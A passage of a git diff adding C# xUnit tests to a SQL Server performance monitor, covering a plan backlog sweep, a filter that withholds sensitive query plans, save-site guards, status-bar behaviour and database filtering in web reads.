+            == OversizedPlanBacklogSweep.PlanFetchVerdict.Captured);
+        Assert.False(session.Spent);
+        Assert.True(session.Values > 0);
+
+        var (verdict, stored, error) = OversizedPlanBacklogSweep.JudgeFetchedPlan(
+            session, StatementScrubCanary.CanaryPlan(), OversizedPlanBacklogSweep.MaxJudgeAttempts - 1);
+
+        Assert.True(session.Spent, "the plan must have overrun the budget the earlier plan left");
+        Assert.Equal(OversizedPlanBacklogSweep.PlanFetchVerdict.Failed, verdict);
+        Assert.Null(stored);
+        Assert.False(string.IsNullOrEmpty(error));
+    }
+
+    [Fact]
+    public void OversizedPlanSweep_OnlyAJudgeTimeoutAddsAnAttempt()
+    {
+        /* #5367 review, A-M1: attempt_count is the retirement limit's count of judge timeouts, so a connect failure,
+           a budget skip and an expiry stamp the attempt time and leave the count alone. */
+        Assert.Equal(OversizedPlanBacklog.RecordAttemptSql, OversizedPlanBacklogSweep.OutcomeSql(OversizedPlanBacklogSweep.PlanFetchVerdict.JudgeTimedOut));
+        Assert.Equal(OversizedPlanBacklog.RecordFailureSql, OversizedPlanBacklogSweep.OutcomeSql(OversizedPlanBacklogSweep.PlanFetchVerdict.Failed));
+        Assert.Equal(OversizedPlanBacklog.RecordExpirySql, OversizedPlanBacklogSweep.OutcomeSql(OversizedPlanBacklogSweep.PlanFetchVerdict.Expired));
+        Assert.Equal(OversizedPlanBacklog.RecordCaptureSql, OversizedPlanBacklogSweep.OutcomeSql(OversizedPlanBacklogSweep.PlanFetchVerdict.Captured));
+
+        Assert.Contains("attempt_count = attempt_count + 1", OversizedPlanBacklog.RecordAttemptSql, StringComparison.Ordinal);
+        Assert.DoesNotContain("attempt_count", OversizedPlanBacklog.RecordFailureSql, StringComparison.Ordinal);
+        Assert.DoesNotContain("attempt_count", OversizedPlanBacklog.RecordExpirySql, StringComparison.Ordinal);
+        Assert.Contains("last_attempt_at = $7", OversizedPlanBacklog.RecordFailureSql, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void OversizedPlanSweep_APlanThatOverrunsTheBudgetAgain_IsStoredOnceAsTheWholePlanMarker()
+    {
+        var attempts = OversizedPlanBacklogSweep.MaxJudgeAttempts - 1;
+        Assert.True(attempts >= 1, "the first judging failure must always leave the row claimable");
+
+        var (verdict, stored, error) = OversizedPlanBacklogSweep.JudgeFetchedPlan(
+            SessionThePlanOverruns(), StatementScrubCanary.CanaryPlan(), attempts);
+
+        /* Captured is the verdict that stamps captured_at, which the claim excludes: the row is resolved. */
+        Assert.Equal(OversizedPlanBacklogSweep.PlanFetchVerdict.Captured, verdict);
+        Assert.Equal(SensitiveStatements.PlaceholderText, stored);
+        Assert.Null(error);
+    }
+
+    [Fact]
+    public void OversizedPlanSweep_ASessionAnEarlierPlanSpent_NeverRetiresARow_HoweverManyAttemptsItHas()
+    {
+        /* The budget was gone before this plan was reached: that says nothing about the plan. */
+        var spent = new SensitiveStatements.Session(null, null, TimeSpan.Zero, null);
+
+        var (verdict, stored, _) = OversizedPlanBacklogSweep.JudgeFetchedPlan(spent, StatementScrubCanary.CanaryPlan(), 500);
+
+        Assert.Equal(OversizedPlanBacklogSweep.PlanFetchVerdict.Failed, verdict);
+        Assert.Null(stored);
+    }
+
+    [Fact]
+    public void OversizedPlanSweep_PassesItsBatchSessionIn_AndMakesNoSessionOfItsOwnInTheJudgingStep()
+    {
+        var source = System.IO.File.ReadAllText(RepoFile.PathTo("Darling/PerformanceMonitor.Darling.Service/OversizedPlanBacklogSweep.cs"));
+        var bodies = StatementColumnCensusTests.BodiesOf(source, "OversizedPlanBacklogSweep", "JudgeFetchedPlan");
+
+        Assert.Single(bodies);
+        Assert.DoesNotContain("new SensitiveStatements.Session", bodies[0], StringComparison.Ordinal);
+        Assert.DoesNotContain("??=", bodies[0], StringComparison.Ordinal);
+    }
+
+    /* ---- the worst case, for the part file: 200 snapshot rows with 47 KB plans plus one 27 MB plan ---- */
+
+    /// <summary>The worst case: 200 distinct snapshot rows with 47 KB plans plus one 27 MB plan.</summary>
+    private static DataTableReader WorstCaseReader()
+    {
+        var rowPlan = SizedPlan(47 * 1024);
+        var rows = new List<(string? Text, string? Plan, string? Live)>();
+        for (var i = 0; i < 200; i++)
+        {
+            /* Distinct values so the verdict memo cannot answer for the batch. */
+            rows.Add(($"SELECT {i} FROM dbo.t{i}", rowPlan.Replace("ssf_pad", "ssf_pad" + i, StringComparison.Ordinal), null));
+        }
+
+        rows.Add((null, SizedPlan(27 * 1024 * 1024), null));
+        return SnapshotReader(rows.ToArray());
+    }
+
+    [Fact]
+    public async Task QuerySnapshots_WorstCase_TwoHundredPlansAndAHugeOne_FinishesInsideTheSessionBudget()
+    {
+        /* #5459: this asserted `took < 20 s` under the session's real 15 s wall-clock budget. The budget is charged wall
+           time, so a loaded runner (the Guard stage runs a thousand tests at once) could spend it, withhold plans whole
+           and stretch the read past the bound, though nothing was wrong. The session is pinned to a budget of an hour
+           that cannot run out, so the answer no longer depends on the machine: every one of the 201 plans is judged
+           and none is withheld. The proof that a spent budget withholds and stays bounded is
+           QuerySnapshots_WorstCase_ASpentSessionWithholdsEveryPlanWholeAndNamesNothing. The wall bound is kept only as
+           a hang backstop: the read takes about two seconds alone, so two minutes means something is wrong. */
+        var clock = Stopwatch.StartNew();
+        var (read, writer) = await ReadAndWriteSnapshotsAsync(
+            WorstCaseReader(), () => new SensitiveStatements.Session(null, null, TimeSpan.FromHours(1), null));
+        clock.Stop();
+
+        TestContext.Current.SendDiagnosticMessage(
+            "snapshot worst case: " + clock.ElapsedMilliseconds + " ms, " + read.Count + " rows, "
+            + read.Count(r => r.QueryPlan == Marker) + " plans withheld whole");
+
+        Assert.Equal(201, read.Count);
+        Assert.Equal(0, read.Count(r => r.QueryPlan == Marker));
+        AssertNoSecretNeedle(writer);
+        Assert.True(clock.Elapsed < TimeSpan.FromMinutes(2), "the read took " + clock.Elapsed);
+    }
+
+    [Fact]
+    public async Task QuerySnapshots_WorstCase_ASpentSessionWithholdsEveryPlanWholeAndNamesNothing()
+    {
+        /* #5459: the other half of the pinned budget. A session whose time is already used up (its limit is zero) judges
+           nothing: all 201 rows still come back, every plan is the marker, and nothing is written but the marker. */
+        var (read, writer) = await ReadAndWriteSnapshotsAsync(
+            WorstCaseReader(), () => new SensitiveStatements.Session(null, null, TimeSpan.Zero, null));
+
+        Assert.Equal(201, read.Count);
+        Assert.Equal(201, read.Count(r => r.QueryPlan == Marker));
+        AssertNoSecretNeedle(writer);
+    }
+
+    private static string SizedPlan(int approximateChars)
+    {
+        const string head = "<ShowPlanXML xmlns=\"http://schemas.microsoft.com/sqlserver/2004/07/showplan\"><BatchSequence><Batch><Statements>";
+        const string tail = "</Statements></Batch></BatchSequence></ShowPlanXML>";
+        var sb = new System.Text.StringBuilder(approximateChars + 256);
+        sb.Append(head);
+        for (var n = 0; sb.Length < approximateChars; n++)
+        {
+            /* Each statement is distinct, so the verdict memo cannot answer for the document. */
+            sb.Append("<StmtSimple StatementText=\"SELECT ssf_pad FROM dbo.t WHERE c = @c AND n = ").Append(n).Append("\" StatementId=\"1\" />");
+        }
+
+        sb.Append(tail);
+        return sb.ToString();
+    }
+}
diff --git a/Darling/Darling.Tests/StatementScrubViewerPlanWithheldTests.cs b/Darling/Darling.Tests/StatementScrubViewerPlanWithheldTests.cs
new file mode 100644
index 0000000000..955ff4d97d
--- /dev/null
+++ b/Darling/Darling.Tests/StatementScrubViewerPlanWithheldTests.cs
@@ -0,0 +1,153 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Threading;
+using System.Windows;
+using System.Windows.Controls;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Ui;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5320 (the plan viewers half of #4348), the Darling viewer's side. A stored or live plan the statement filter
+/// withheld whole is the marker, not a plan. The viewer shows it as withheld
+/// (<see cref="SensitiveStatements.WithheldPlanSentence"/>) instead of the parser's "The plan XML could not be read",
+/// and no site that saves a plan to a <c>.sqlplan</c> file writes it. The control and the guard are the shared
+/// <c>PerformanceMonitor.Ui</c> ones Lite uses too; Lite.Tests holds the same pins for Lite's own save sites.
+/// </summary>
+public sealed class StatementScrubViewerPlanWithheldTests
+{
+    private const string Marker = SensitiveStatements.PlaceholderText;
+
+    [Fact]
+    public void APlanWithheldWhole_ShowsTheWithheldSentenceInTheViewer_NotAParseError()
+    {
+        StaTestThread.Run(() =>
+        {
+            var control = new PlanViewerControl();
+            try
+            {
+                control.LoadPlan(Marker, "Stored Plan").GetAwaiter().GetResult();
+
+                var title = (TextBlock)control.FindName("EmptyStateTitle");
+                Assert.Equal("This plan was withheld by the statement filter (#4348).", title.Text);
+                Assert.DoesNotContain("could not be read", title.Text, StringComparison.Ordinal);
+                Assert.Equal(Visibility.Visible, ((UIElement)control.FindName("EmptyState")).Visibility);
+                Assert.Equal(Visibility.Collapsed, ((UIElement)control.FindName("EmptyStateDetail")).Visibility);
+                Assert.Equal(Visibility.Collapsed, ((UIElement)control.FindName("PlanScrollViewer")).Visibility);
+            }
+            finally
+            {
+                control.Cleanup();
+            }
+        });
+    }
+
+    [Fact]
+    public void TheWithheldGuard_RefusesOnlyTheMarker_AndARealPlanIsUnchanged()
+    {
+        Assert.Equal(SensitiveStatements.WithheldPlanSentence, WithheldPlanGuard.WithheldSentence(Marker));
+        Assert.Equal(SensitiveStatements.WithheldPlanSentence, WithheldPlanGuard.WithheldSentence("  " + Marker + "\r\n"));
+
+        var plain = "<ShowPlanXML xmlns=\"http://schemas.microsoft.com/sqlserver/2004/07/showplan\"><BatchSequence><Batch><Statements>"
+            + "<StmtSimple StatementText=\"" + StatementScrubCanary.PlainStatement + "\" /></Statements></Batch></BatchSequence></ShowPlanXML>";
+
+        Assert.Null(WithheldPlanGuard.WithheldSentence(plain));
+        Assert.Null(WithheldPlanGuard.WithheldSentence(StatementScrubCanary.CanaryPlan()));
+        Assert.Null(WithheldPlanGuard.WithheldSentence(null));
+        Assert.Null(WithheldPlanGuard.WithheldSentence(string.Empty));
+
+        /* A real plan is not refused, and nothing is shown for it (a refusal would put up a message box). */
+        Assert.False(WithheldPlanGuard.RefuseSave(plain));
+        Assert.False(WithheldPlanGuard.RefuseSave(null));
+    }
+
+    /// <summary>
+    /// Every place the Darling viewer (and the shared plan control it hosts) writes a plan to a <c>.sqlplan</c> file
+    /// asks <c>WithheldPlanGuard.RefuseSave</c> first. A new save site fails here until it does.
+    /// </summary>
+    [Fact]
+    public void EveryPlanSaveSite_RefusesTheWithheldMarkerFirst()
+    {
+        var problems = new List<string>();
+        var sites = 0;
+
+        foreach (var root in new[] { "Darling/PerformanceMonitor.Darling.Viewer", "PerformanceMonitor.Ui" })
+        {
+            foreach (var file in Directory.EnumerateFiles(RepoFile.PathTo(root), "*.cs", SearchOption.AllDirectories))
+            {
+                var relative = file.Replace('\\', '/');
+                if (relative.Contains("/obj/", StringComparison.Ordinal) || relative.Contains("/bin/", StringComparison.Ordinal))
+                {
+                    continue;
+                }
+
+                var text = File.ReadAllText(file);
+                if (!text.Contains("new SaveFileDialog", StringComparison.Ordinal) || !text.Contains(".sqlplan\"", StringComparison.Ordinal))
+                {
+                    continue;
+                }
+
+                sites++;
+                if (!text.Contains("WithheldPlanGuard.RefuseSave(", StringComparison.Ordinal))
+                {
+                    problems.Add(relative + " writes a .sqlplan without WithheldPlanGuard.RefuseSave");
+                }
+            }
+        }
+
+        /* The three history windows, the shared SavePlanFile helper and the plan control's own Save button. */
+        Assert.True(sites >= 5, "expected at least 5 plan save sites, found " + sites);
+        Assert.Empty(problems);
+    }
+
+    /// <summary>
+    /// #5367: a withheld deadlock graph or blocked process report is not "a plan", so its save refusal names what is
+    /// being saved; the plan viewers keep their existing sentence word for word.
+    /// </summary>
+    [Fact]
+    public void TheWithheldSentence_NamesWhatIsSaved_AndThePlanSentenceIsUnchanged()
+    {
+        Assert.Equal("This plan was withheld by the statement filter (#4348).", WithheldPlanGuard.WithheldSentenceFor("plan"));
+        Assert.Equal(SensitiveStatements.WithheldPlanSentence, WithheldPlanGuard.WithheldSentenceFor("plan"));
+        Assert.Equal("This deadlock graph was withheld by the statement filter (#4348).", WithheldPlanGuard.WithheldSentenceFor("deadlock graph"));
+        Assert.Equal("This blocked process report was withheld by the statement filter (#4348).", WithheldPlanGuard.WithheldSentenceFor("blocked process report"));
+    }
+
+    /// <summary>
+    /// #5320: a deadlock graph or blocked process report the filter withheld whole is the marker, not XML. The viewer's
+    /// two XML downloads go through the shared <c>FileSaveHelper.SaveXmlToFile</c>, which asks the guard before it
+    /// opens the save dialog, so the marker is never written to an <c>.xml</c> file and the user is told why.
+    /// </summary>
+    [Fact]
+    public void SaveXmlToFile_RefusesAWithheldReportBeforeTheSaveDialog_AndTheViewersDownloadsUseIt()
+    {
+        var helper = File.ReadAllText(RepoFile.PathTo("PerformanceMonitor.Ui/FileSaveHelper.cs"));
+        var start = helper.IndexOf("public static void SaveXmlToFile(", StringComparison.Ordinal);
+        Assert.True(start >= 0, "SaveXmlToFile not found");
+        var dialog = helper.IndexOf("new SaveFileDialog", start, StringComparison.Ordinal);
+        var guard = helper.IndexOf("WithheldPlanGuard.RefuseSave(xml, withheldSubject)", start, StringComparison.Ordinal);
+        Assert.True(guard >= 0 && dialog >= 0 && guard < dialog, "SaveXmlToFile must call WithheldPlanGuard.RefuseSave(xml, withheldSubject) before it opens the dialog");
+
+        var export = File.ReadAllText(RepoFile.PathTo("Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.CopyExport.cs"));
+        Assert.Contains("using static PerformanceMonitor.Ui.FileSaveHelper;", export, StringComparison.Ordinal);
+        Assert.Contains("SaveXmlToFile(row.DeadlockGraphXml", export, StringComparison.Ordinal);
+        Assert.Contains("SaveXmlToFile(row.BlockedProcessReportXml", export, StringComparison.Ordinal);
+
+        /* #5367: the sentence names what is saved. A deadlock graph is not "a plan"; each download passes its own subject. */
+        Assert.Contains("SaveXmlToFile(row.DeadlockGraphXml, $\"deadlock_{row.DeadlockTime:yyyyMMdd_HHmmss}.xml\", \"deadlock XML\", \"deadlock graph\")", export, StringComparison.Ordinal);
+        Assert.Contains("\"blocked process XML\", \"blocked process report\")", export, StringComparison.Ordinal);
+        Assert.DoesNotContain("File.WriteAllText", export, StringComparison.Ordinal);
+    }
+
+}
diff --git a/Darling/Darling.Tests/StatementScrubViewerSavePathsTests.cs b/Darling/Darling.Tests/StatementScrubViewerSavePathsTests.cs
new file mode 100644
index 0000000000..9c230fe2cb
--- /dev/null
+++ b/Darling/Darling.Tests/StatementScrubViewerSavePathsTests.cs
@@ -0,0 +1,108 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Runtime.CompilerServices;
+using System.Text.RegularExpressions;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #4348, the Darling viewer's side of "what leaves the app". The viewer never opens a connection to a monitored
+/// server: it reads rows the collectors already judged, and asks the service for anything live (the Active Queries
+/// snapshot, a plan by sql_handle, an actual-plan re-run), whose handlers judge the text and the plans before they
+/// answer. So a viewer save or copy of statement text or a plan carries what the screen shows. Pinned here, so a change
+/// to that is noticed: no viewer file connects to SQL Server itself, every viewer site that writes a .sqlplan asks the
+/// withheld guard first (Lite.Tests holds the same scan over Lite and the shared project), and the service handlers a live
+/// answer comes from still judge it.
+/// </summary>
+public sealed class StatementScrubViewerSavePathsTests
+{
+    private static IEnumerable<string> ViewerSources() =>
+        Directory.EnumerateFiles(Path.Combine(RepoRoot(), "Darling", "PerformanceMonitor.Darling.Viewer"), "*.cs", SearchOption.AllDirectories)
+            .Where(f =>
+            {
+                var relative = Path.GetRelativePath(RepoRoot(), f).Replace('\\', '/');
+                return !relative.Contains("/obj/", StringComparison.Ordinal) && !relative.Contains("/bin/", StringComparison.Ordinal);
+            });
+
+    [Fact]
+    public void NoViewerFile_OpensItsOwnConnectionToASqlServer()
+    {
+        var offenders = new List<string>();
+        foreach (var file in ViewerSources())
+        {
+            var code = CSharpSourceWalker.StripCommentsAndStrings(File.ReadAllText(file));
+            if (Regex.IsMatch(code, @"new\s+SqlConnection\s*\("))
+            {
+                offenders.Add(Path.GetFileName(file));
+            }
+        }
+
+        Assert.Empty(offenders);
+    }
+
+    [Fact]
+    public void EveryViewerPlanSaveSite_RefusesTheWithheldMarkerFirst()
+    {
+        var problems = new List<string>();
+        var sites = 0;
+        foreach (var file in ViewerSources())
+        {
+            var text = File.ReadAllText(file);
+            if (!text.Contains("new SaveFileDialog", StringComparison.Ordinal) || !text.Contains(".sqlplan\"", StringComparison.Ordinal))
+            {
+                continue;
+            }
+
+            sites++;
+            if (!text.Contains("WithheldPlanGuard.RefuseSave(", StringComparison.Ordinal))
+            {
+                problems.Add(Path.GetFileName(file) + " writes a .sqlplan without WithheldPlanGuard.RefuseSave");
+            }
+        }
+
+        /* The three history windows. The tab's own plan saves go through the shared FileSaveHelper, which Lite.Tests scans. */
+        Assert.True(sites >= 3, "expected at least 3 viewer plan save sites, found " + sites);
+        Assert.Empty(problems);
+    }
+
+    [Fact]
+    public void TheServiceHandlers_ThatAnswerALiveRead_StillJudgeIt()
+    {
+        var collector = File.ReadAllText(Path.Combine(RepoRoot(), "PerformanceMonitor.Collectors", "QuerySnapshotsCollector.cs"));
+        var start = collector.IndexOf("public override async ValueTask<List<Row>> ReadAsync", StringComparison.Ordinal);
+        Assert.True(start > 0);
+        var body = collector[start..Math.Min(collector.Length, start + 3500)];
+        Assert.Contains("BeginStatementScrub()", body, StringComparison.Ordinal);
+        Assert.Contains("scrub.Text(reader.GetString(3))", body, StringComparison.Ordinal);
+        Assert.Equal(2, Regex.Matches(body, @"scrub\.Xml\(").Count);
+
+        var worker = File.ReadAllText(Path.Combine(RepoRoot(), "Darling", "PerformanceMonitor.Darling.Service", "DarlingWorker.cs"));
+        var outcome = worker.IndexOf("internal static CommandOutcome PlanResultOutcome", StringComparison.Ordinal);
+        Assert.True(outcome > 0);
+        Assert.Contains("SensitiveStatements.Xml(planXml)", worker[outcome..Math.Min(worker.Length, outcome + 900)], StringComparison.Ordinal);
+        Assert.Contains("PlanResultOutcome(\"actual plan captured\"", worker, StringComparison.Ordinal);
+        Assert.Contains("PlanResultOutcome(\"plan fetched\"", worker, StringComparison.Ordinal);
+    }
+
+    private static string RepoRoot([CallerFilePath] string thisFile = "")
+    {
+        var dir = Path.GetDirectoryName(thisFile)!;
+        while (dir is not null && !File.Exists(Path.Combine(dir, "PerformanceMonitor.sln")))
+        {
+            dir = Path.GetDirectoryName(dir);
+        }
+
+        return dir ?? throw new InvalidOperationException("repository root not found");
+    }
+}
diff --git a/Darling/Darling.Tests/StatusBarBehaviourTests.cs b/Darling/Darling.Tests/StatusBarBehaviourTests.cs
new file mode 100644
index 0000000000..add546a886
--- /dev/null
+++ b/Darling/Darling.Tests/StatusBarBehaviourTests.cs
@@ -0,0 +1,153 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.ComponentModel;
+using System.Diagnostics;
+using System.Linq;
+using System.Text.Json;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// What the web shell's status bar draws, from the shipped <c>app.js</c> status-bar code run under Node
+/// (<c>status-bar-harness.mjs</c>): the seat label from the session probe, the store size from
+/// <c>get_store_host</c> read at most once per five minutes, a collection state only when <c>/api/ping</c> is not
+/// ok, and a bar that survives any of those reads failing. Node is skipped when it is not installed.
+/// </summary>
+public sealed class StatusBarBehaviourTests
+{
+    private static bool TryRun(string scenario, out JsonElement result)
+    {
+        result = default;
+        var psi = new ProcessStartInfo("node") { RedirectStandardOutput = true, RedirectStandardError = true, UseShellExecute = false };
+        psi.ArgumentList.Add(PathTo("Darling", "Darling.Tests", "status-bar-harness.mjs"));
+        psi.ArgumentList.Add(PathTo("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "app.js"));
+        psi.ArgumentList.Add(scenario);
+
+        Process proc;
+        try
+        {
+            proc = Process.Start(psi)!;
+        }
+        catch (Win32Exception)
+        {
+            Assert.Skip("Node is not installed, so the shipped status-bar code cannot be run.");
+            return false;
+        }
+
+        using (proc)
+        {
+            var error = proc.StandardError.ReadToEndAsync();
+            var output = proc.StandardOutput.ReadToEnd().Trim();
+            if (!proc.WaitForExit(20000))
+            {
+                proc.Kill(entireProcessTree: true);
+                Assert.Fail("the status-bar harness did not finish in 20 s for scenario " + scenario);
+            }
+
+            Assert.True(proc.ExitCode == 0, "the status-bar harness failed for scenario " + scenario + ": " + error.Result);
+            using var doc = JsonDocument.Parse(output);
+            result = doc.RootElement.Clone();
+            return true;
+        }
+    }
+
+    private static string[] Items(JsonElement r) =>
+        r.GetProperty("items").EnumerateArray().Where(e => e.ValueKind == JsonValueKind.String).Select(e => e.GetString()!).ToArray();
+
+    [Theory]
+    [InlineData("seatWrite", "Seat: read-write")]
+    [InlineData("seatRead", "Seat: read-only")]
+    [InlineData("seatProbeFailed", "Seat: not connected")]
+    public void TheSeatLabel_FollowsTheSessionProbe_InTheViewersWording(string scenario, string expected)
+    {
+        if (!TryRun(scenario, out var r)) return;
+        Assert.Contains(expected, Items(r));
+    }
+
+    [Theory]
+    [InlineData("storeSize", "Database: 5.0 GB")]
+    [InlineData("storeSizeMb", "Database: 300 MB")]
+    public void TheStoreSize_ComesFromTheStoreHostRead_InTheViewersUnits(string scenario, string expected)
+    {
+        if (!TryRun(scenario, out var r)) return;
+        Assert.Contains(expected, Items(r));
+    }
+
+    [Fact]
+    public void TheStoreSize_IsReadOncePerFiveMinutes_NotOnEveryPoll()
+    {
+        if (!TryRun("cached", out var r)) return;
+        Assert.Equal(1, r.GetProperty("reads").GetInt32());
+        Assert.Contains("Database: 5.0 GB", Items(r));
+
+        if (!TryRun("refetched", out var later)) return;
+        Assert.Equal(2, later.GetProperty("reads").GetInt32());
+        Assert.Contains("Database: 6.0 GB", Items(later));
+    }
+
+    [Theory]
+    [InlineData("ping_starting", "Collection: Starting")]
+    [InlineData("ping_degraded", "Collection: Degraded")]
+    [InlineData("ping_stopped", "Collection: Stopped")]
+    public void ANonOkPingStatus_IsShown(string scenario, string expected)
+    {
+        if (!TryRun(scenario, out var r)) return;
+        Assert.Contains(expected, Items(r));
+    }
+
+    [Fact]
+    public void AnOkPing_AddsNothing()
+    {
+        if (!TryRun("ping_ok", out var r)) return;
+        Assert.DoesNotContain(Items(r), i => i.StartsWith("Collection", StringComparison.Ordinal));
+    }
+
+    [Fact]
+    public void AFailedStoreSizeRead_NeverBreaksTheBar()
+    {
+        if (!TryRun("storeFails", out var r)) return;
+        Assert.True(r.GetProperty("hasBar").GetBoolean());
+        Assert.DoesNotContain(Items(r), i => i.StartsWith("Database", StringComparison.Ordinal));
+        Assert.Contains("Seat: read-write", Items(r));
+
+        if (!TryRun("storeFailsAfterGood", out var stale)) return;
+        Assert.Contains("Database: 5.0 GB (stale)", Items(stale));
+    }
+
+    /// <summary>
+    /// W3/W10 of the morning walk: the footer's "Updated" time stayed at the first load on the server, FinOps and
+    /// Job History pages, with auto-refresh on or after "Reload this page now", because it came only from the
+    /// shell's fleet read. It now follows the page's own latest load, and a later fleet poll does not pull it back.
+    /// </summary>
+    [Fact]
+    public void TheUpdatedTime_FollowsThePagesOwnLatestLoad()
+    {
+        if (!TryRun("pageUpdated", out var r)) return;
+        var stamp = r.GetProperty("stamp").GetString()!;
+        string[] Strings(string name) => r.GetProperty(name).EnumerateArray().Where(e => e.ValueKind == JsonValueKind.String).Select(e => e.GetString()!).ToArray();
+
+        Assert.Contains("Updated T", Strings("before"));
+        Assert.Contains("Updated " + stamp, Strings("afterPage"));
+        Assert.Contains("Updated " + stamp, Strings("afterNextFleetPoll"));
+        Assert.DoesNotContain("Updated T", Strings("afterNextFleetPoll"));
+    }
+
+    [Theory]
+    [InlineData("pingFails")]
+    [InlineData("sessionFails")]
+    public void AFailedPingOrSessionRead_LeavesTheRestOfTheBar(string scenario)
+    {
+        if (!TryRun(scenario, out var r)) return;
+        Assert.Contains("Database: 5.0 GB", Items(r));
+        Assert.Contains("1 server", Items(r));
+    }
+}
diff --git a/Darling/Darling.Tests/StorageAndFileIoWebDispatchLiveTests.cs b/Darling/Darling.Tests/StorageAndFileIoWebDispatchLiveTests.cs
new file mode 100644
index 0000000000..32ca702aea
--- /dev/null
+++ b/Darling/Darling.Tests/StorageAndFileIoWebDispatchLiveTests.cs
@@ -0,0 +1,147 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text.Json;
+using System.Threading.Tasks;
+using Darling.Tests;
+using Microsoft.AspNetCore.Http;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Service.Mcp;
+using Xunit;
+
+namespace PerformanceMonitor.Darling.Tests;
+
+/// <summary>
+/// #5244 PR5 (lane W5): the five storage and file I/O reads the web pages drive (get_database_sizes, get_table_index_sizes,
+/// get_pvs_stats, get_file_io_stats and get_file_io_trend), called the way the page calls them, through the web read dispatch
+/// with two REPEATED <c>database_name</c> keys over a seed of databases A, B and C. Each read must answer with A's and B's rows
+/// and none of C's; on the base the dispatch ignored the key (or, for the trend, read only the first), so each answered with all
+/// three databases. The same class pins the <c>database_name</c> echo on the answers each tool gained it on (blank is null) and
+/// the three public MCP tools' new parameter.
+/// </summary>
+[Collection("live-postgres")]
+public sealed class StorageAndFileIoWebDispatchLiveTests
+{
+    private const string A = StorageDatabaseFilterLiveTests.A;
+    private const string B = StorageDatabaseFilterLiveTests.B;
+    private const string C = StorageDatabaseFilterLiveTests.C;
+    private const string Cleanup = StorageDatabaseFilterLiveTests.Cleanup + "; DELETE FROM file_io_stats WHERE server_id = {0}";
+
+    private static async Task<string> WebReadAsync(NpgsqlDataSource postgres, string serverName, string read, params string[] databases)
+    {
+        var query = new List<KeyValuePair<string, string?>> { new("server_name", serverName), new("hours_back", "24") };
+        query.AddRange(databases.Select(d => new KeyValuePair<string, string?>("database_name", d)));
+        var context = new DefaultHttpContext();
+        context.Request.QueryString = QueryString.Create(query);
+        return await DarlingWebEndpoints.BuildReadDispatch()[read](context, postgres, null!);
+    }
+
+    private static string? Echo(string json) =>
+        JsonDocument.Parse(json).RootElement.TryGetProperty("database_name", out var echo) && echo.ValueKind == JsonValueKind.String ? echo.GetString() : null;
+
+    private static bool HasEchoKey(string json) => JsonDocument.Parse(json).RootElement.TryGetProperty("database_name", out _);
+
+    private static string[] DatabasesIn(string json, string array) =>
+        JsonDocument.Parse(json).RootElement.GetProperty(array).EnumerateArray()
+            .Select(e => e.GetProperty("database_name").GetString()!).Where(n => n != "(other)").Distinct().Order().ToArray();
+
+    private static Task InsertFileIoAsync(NpgsqlConnection connection, System.Threading.CancellationToken ct, int serverId, string serverName, DateTime t, string db) =>
+        DarlingMcpTestData.ExecAsync(connection, ct, @"
+INSERT INTO file_io_stats
+    (collection_id, collection_time, server_id, server_name, database_name, file_name, file_type,
+     physical_name, size_mb, delta_reads, delta_writes, delta_read_bytes, delta_write_bytes,
+     delta_stall_read_ms, delta_stall_write_ms, sample_interval_seconds)
+VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10, $11, $12, $13, $14, $15, $16)",
+            CollectionIdGenerator.Next(), DarlingMcpTestData.Naive(t), serverId, serverName, db, db + ".mdf", "ROWS",
+            "D:\\data\\" + db + ".mdf", 1000m, 100L, 50L, 819_200L, 409_600L, 500L, 100L, 60);
+
+    [Fact]
+    public Task TheFiveReads_TwoRepeatedKeys_ReadOnlyAAndBs() =>
+        DurationTrendDatabaseFilterLiveTests.WithSharedStoreAsync("a5244p5w-web-dispatch", async (connection, postgres, serverId, serverName, now, ct) =>
+        {
+            foreach (var (db, mb) in new[] { (A, 100m), (B, 200m), (C, 300m) })
+            {
+                await StorageDatabaseFilterLiveTests.InsertTableAsync(connection, ct, serverId, serverName, now.AddHours(-1), db, "T" + db, mb);
+                await StorageDatabaseFilterLiveTests.InsertFileAsync(connection, ct, serverId, serverName, now.AddHours(-1), db, mb);
+                await StorageDatabaseFilterLiveTests.InsertPvsAsync(connection, ct, serverId, serverName, now.AddHours(-1), db, mb);
+                await InsertFileIoAsync(connection, ct, serverId, serverName, now.AddMinutes(-30), db);
+                await InsertFileIoAsync(connection, ct, serverId, serverName, now.AddMinutes(-5), db);
+            }
+
+            foreach (var (read, array) in new[]
+                     {
+                         ("get_database_sizes", "databases"), ("get_table_index_sizes", "tables"), ("get_pvs_stats", "databases"),
+                         ("get_file_io_stats", "files"), ("get_file_io_trend", "trend"),
+                     })
+            {
+                var all = await WebReadAsync(postgres, serverName, read);
+                Assert.Equal(new[] { A, B, C }, DatabasesIn(all, array));
+                Assert.True(HasEchoKey(all), $"{read} left the database_name echo off its unfiltered answer");
+                Assert.Null(Echo(all));
+
+                var both = await WebReadAsync(postgres, serverName, read, A, B);
